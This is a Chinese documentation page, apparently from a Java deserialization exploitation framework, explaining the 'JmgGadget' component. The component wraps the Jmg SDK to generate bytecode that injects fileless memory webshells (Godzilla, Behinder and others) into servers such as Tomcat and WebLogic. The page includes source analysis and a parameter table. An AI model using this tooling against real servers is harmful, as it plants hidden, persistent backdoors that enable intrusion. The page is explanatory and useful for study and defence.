Skip to content

Latest commit

 

History

History
92 lines (82 loc) · 6.8 KB

File metadata and controls

92 lines (82 loc) · 6.8 KB

调用 Jmg 生成注入内存马字节码(JmgGadget)

  • 类别:bytecode 别名:— 优先级:10
  • 作者:Pen4uin
  • 依赖:内置 java-memshell-generator(Jmg v1.0.9,2025-01-02)、commons-codecslf4j

作用

调用内置的 Jmg(java-memshell-generator)SDK,按用户选择的「内存马工具(Godzilla/Behinder/Suo5/…)× 挂载类型(Listener/Filter/Valve/…)× 目标中间件(Tomcat/Jetty/WebLogic/…)」现场生成一段内存马注入器字节码,作为链尾字节码 sink(END)。目标 JVM 加载该注入器后即完成内存马注入,无需落地文件。

链接标签

  • 入口 tagsBytecodeInjectEND —— Bytecode 表示产物是字节码 byte[]Inject 标识其为「内存马注入」类载荷;END 表示链终点,其后不接 gadget。
  • 衔接 nextTags:空。
  • excludes:无。

由上游「字节码装载器」承接:注入器 byte[] 需被目标加载并执行(其静态块/构造在加载瞬间完成注入),通常经 BytecodeConvert 装入 TemplatesImpl 触发。

源码剖析

核心是把用户参数灌进 Jmg 的 AbstractConfig,调用 jMGenerator.genPayload() 拿注入器字节码:

public byte[] getObject() throws Exception {
    AbstractConfig config = new AbstractConfig();
    config.setToolType(this.toolType);
    config.setShellType(this.shellType);
    config.setServerType(this.serverType);
    config.setHeaderName(this.headerName);
    if ("random".equalsIgnoreCase(this.headerValue)) {
        config.setHeaderValue(CommonUtil.getRandomString(4, 20));   // random → 随机头值
    } else { config.setHeaderValue(this.headerValue); }
    if ("random".equalsIgnoreCase(this.pass)) {
        config.setPass(CommonUtil.getRandomString(4, 10));          // random → 随机密码
    } else { config.setPass(this.pass); }
    if ("random".equalsIgnoreCase(this.key)) {
        config.setKey(CommonUtil.getRandomString(4, 10));           // random → 随机密钥
    } else { config.setKey(this.key); }
    if ("Custom".equalsIgnoreCase(this.shellType)) {
        config.setShellBytes(Base64.decodeBase64((String)this.shellBytesBase64));
    }
    config.setShellClassName(FileHelper.getRandomClassName());      // shell 类名随机
    config.setUrlPattern(this.urlPattern);
    config.setEnableBypassJDKModule(this.bypassJdkModule);
    ...
    synchronized (JmgGadget.class) {
        try {
            jMGenerator generator = new jMGenerator(config);
            generator.genPayload();
            bytes = config.getInjectorBytes();                      // 取注入器字节码
        } catch (Exception e) {
            ThrowsUtil.throwGadgetException("Invoke Jmg Error, plz check Jmg shellType、serverType params: " + e.getMessage());
        }
        this.context.put("Jmg Shell ClassName", config.getShellClassName());
        this.context.put("Jmg Shell Bytecode Base64", Base64.encodeBase64String(...));
        this.context.put("Jmg Injector ClassName", config.getInjectorClassName());
        this.context.put("Jmg Injector Bytecode Base64", Base64.encodeBase64String(...));
        return bytes;
    }
}

逐段解释:

  • 随机值处理pass/key/headerValue 传字面量 random 时会被 CommonUtil.getRandomString 替换为随机串,避免固定指纹;替换后的真实值通过 context.put(...) 回写到结果 Context,供操作者事后查看连接凭据。
  • Custom 分支:当 shellType 等于 "Custom" 时,读取 shellBytesBase64 作为自定义 shell 字节(注意:判断的是 shellType 而非 toolType,是源码中一个需留意的细节;shellType 的下拉选项本身并不含 Custom,该分支主要在手工指定时生效)。
  • 随机类名:shell 类名恒用 FileHelper.getRandomClassName() 随机化。
  • 生成new jMGenerator(config).genPayload() 驱动 Jmg SDK 产出,最终返回 config.getInjectorBytes()——注入器字节码(而非 shell 本身)。
  • 线程安全:整段包在 synchronized (JmgGadget.class) 中,因为 Jmg SDK 通过共享静态 config 状态生成,需串行化。
  • invoke 中先保存 contextchain.doCreate(context),最后 getObject()

getObject 报错信息明确提示「检查 shellType、serverType 参数组合」——与 description 一致:Jmg 的常见失败是这两个参数组合不被支持(如 SpringMVC 仅支持 InterceptorSpringWebFlux 仅支持 WFHandlerMethod)。

参数(@Param)

字段 名称 说明 默认 可选值
toolType 内存马工具种类 内存马对接的管理工具 Godzilla Godzilla / Suo5 / Behinder / NeoreGeorg / AntSword
shellType 内存马类型 挂载类型;部分组合不被支持 Listener Listener / Filter / Valve / Interceptor / JakartaListener / JakartaFilter / WFHandlerMethod
serverType 目标中间件类型 目标 Web 容器 Tomcat Tomcat / Resin / Jetty / SpringMVC / SpringWebFlux / JBoss / WebLogic / WebSphere / Undertow / GlassFish / Tongweb / Apusic / InforSuite / BES
pass Shell 密码 Godzilla/Behinder/AntSword 密码;random 随机 random 任意字符串
key Shell 密钥 仅 Godzilla 密钥;random 随机 random 任意字符串
urlPattern url 匹配路径 一般无需更改 /* URL pattern
bypassJdkModule 绕过 JDKModule 限制 高版本 JDK 反射绕过 false true / false
headerName 内存马请求头 Key 触发/通信用请求头名 Accept 任意字符串
headerValue 内存马请求头 Value random 随机 random 任意字符串
shellBytesBase64 Custom Shell 自定义 shell 字节(Base64) Base64

适用版本与原理要点

  • 内置 Jmg v1.0.9;如遇参数组合报错,作者建议改用 Jmg 原版工程生成后手工复制到 BytecodeFromBase64
  • 产物是注入器字节码:其静态块/构造在被目标加载时执行注入,因此必须搭配能加载类的上游装载器。
  • JmgCustomShellGadget 的区别:本类由 Jmg 从内置工具模板整马生成;后者只用 Jmg 的注入器逻辑,shell 主体由链上游提供的字节码充当。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为内存马 sink,可替换任意命令执行 sink。

关联